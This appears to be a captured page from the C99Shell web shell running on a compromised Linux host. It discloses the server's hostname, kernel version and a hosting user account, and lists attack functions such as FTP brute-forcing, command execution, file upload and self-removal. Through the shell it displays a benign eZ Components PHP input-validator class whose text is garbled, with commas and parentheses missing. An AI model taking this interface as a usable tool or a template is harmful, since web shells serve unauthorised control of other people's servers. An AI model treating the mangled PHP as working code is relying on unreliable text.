!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php54/usr/share/pear/ezc/ConsoleTools/input/validators/   drwxr-xr-x
Free 294.11 GB of 429.69 GB (68.45%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     standard.php (5.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * File containing the ezcConsoleStandardInputValidator class.
 *
 * @package ConsoleTools
 * @version 1.6.1
 * @copyright Copyright (C) 2005-2010 eZ Systems AS. All rights reserved.
 * @license http://ez.no/licenses/new_bsd New BSD License
 * @filesource
 */
/**
 * Validates ezcConsoleOption in terms of dependencies/exclusion and more.
 * 
 * @package ConsoleTools
 * @version 1.6.1
 *
 * @access private
 */
class ezcConsoleStandardInputValidator implements ezcConsoleInputValidator
{
    
/**
     * Validates the given $options and $arguments.
     *
     * Validates the given $options against their registered rules. Throws an 
     * exception, if any condition is not met. $hasArguments indicates if 
     * arguments have been submitted in addition.
     *
     * @param array(ezcConsoleOption) $options
     * @param bool $hasArguments
     *
     * @throws ezcConsoleOptionDependencyViolationException
     *         If a dependency was violated. 
     * @throws ezcConsoleOptionExclusionViolationException 
     *         If an exclusion rule was violated.
     * @throws ezcConsoleOptionArgumentsViolationException 
     *         If arguments are passed although a parameter dissallowed them.
     * @throws ezcConsoleOptionMandatoryViolationException
     *         If an option that was marked mandatory was not submitted.
     * @throws ezcConsoleOptionMissingValueException
     *         If an option that expects a value was submitted without one.
     */
    
public function validateOptions( array $options$hasArguments )
    {
        foreach ( 
$options as $id => $option )
        {
            if ( 
$option->mandatory === true && $option->value === false )
            {
                throw new 
ezcConsoleOptionMandatoryViolationException$option );
            }

            
$this->validateDependencies$option );
            
$this->validateExclusions$option );

            if ( 
$option->arguments === false && $option->value !== false && $hasArguments )
            {
                throw new 
ezcConsoleOptionArgumentsViolationException$option );
            }
        }
    }

    
/**
     * Validated option dependencies.
     *
     * Validates dependencies by $option.
     *
     * @param ezcConsoleOption $option.
     */
    
private function validateDependenciesezcConsoleOption $option )
    {
        
$optSet = ( $option->value !== false
            
&& ( !is_array$option->value ) || $option->value !== array() ) );

        foreach ( 
$option->getDependencies() as $dep )
        {
            if ( 
$dep->ifSet === $optSet )
            {
                
$this->validateDependency$option$dep );
            }
        }
    }

    
/**
     * Validates a single dependency.
     *
     * Validates the dependency $dep, which is set in the $srcOpt.
     *
     * @param ezcConsoleOption $srcOpt
     * @param ezcConsoleOptionRule $dep
     */
    
private function validateDependencyezcConsoleOption $srcOptezcConsoleOptionRule $dep )
    {
        
$optValue $dep->option->value;

        if ( 
$optValue === false || $optValue === array() )
        {
            throw new 
ezcConsoleOptionDependencyViolationException(
                
$srcOpt,
                
$dep->option
            
);
        }

        if ( 
$dep->values !== array() )
        {
            
$optVals = ( is_array$optValue ) ? $optValue : array( $optValue) );
            
$unrecognizedVals array_diff$optVals$dep->values );
            if ( 
$unrecognizedVals !== array() )
            {
                throw new 
ezcConsoleOptionDependencyViolationException(
                    
$srcOpt,
                    
$dep->option,
                    
implode', '$dep->values )
                );
            }
        }
    }

    
/**
     * Validated option exclusions.
     *
     * Validates exclusions by $option.
     *
     * @param ezcConsoleOption $option.
     */
    
private function validateExclusionsezcConsoleOption $option )
    {
        
$optSet = ( $option->value !== false
            
&& ( !is_array$option->value ) || $option->value !== array() ) );

        foreach ( 
$option->getExclusions() as $excl )
        {
            if ( 
$excl->ifSet === $optSet )
            {
                
$this->validateExclusion$option$excl );
            }
        }
    }

    
/**
     * Validates a single exclusion.
     *
     * Validates the exclusion $excl, which is set in the $srcOpt.
     *
     * @param ezcConsoleOption $srcOpt
     * @param ezcConsoleOptionRule $excl
     */
    
private function validateExclusionezcConsoleOption $srcOptezcConsoleOptionRule $excl )
    {
        
$optValue $excl->option->value;

        if ( 
$optValue !== false && $optValue !== array() && $excl->values === array() )
        {
            throw new 
ezcConsoleOptionExclusionViolationException(
                
$srcOpt,
                
$excl->option
            
);
        }

        
$optVals = ( is_array$optValue ) ? $optValue : array( $optValue ) );
        
$forbiddenVals array_intersect$optVals$excl->values );
        if ( 
$forbiddenVals !== array() )
        {
            throw new 
ezcConsoleOptionExclusionViolationException(
                
$srcOpt,
                
$excl->option,
                
implode', '$excl->values )
            );
        }
    }
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0045 ]--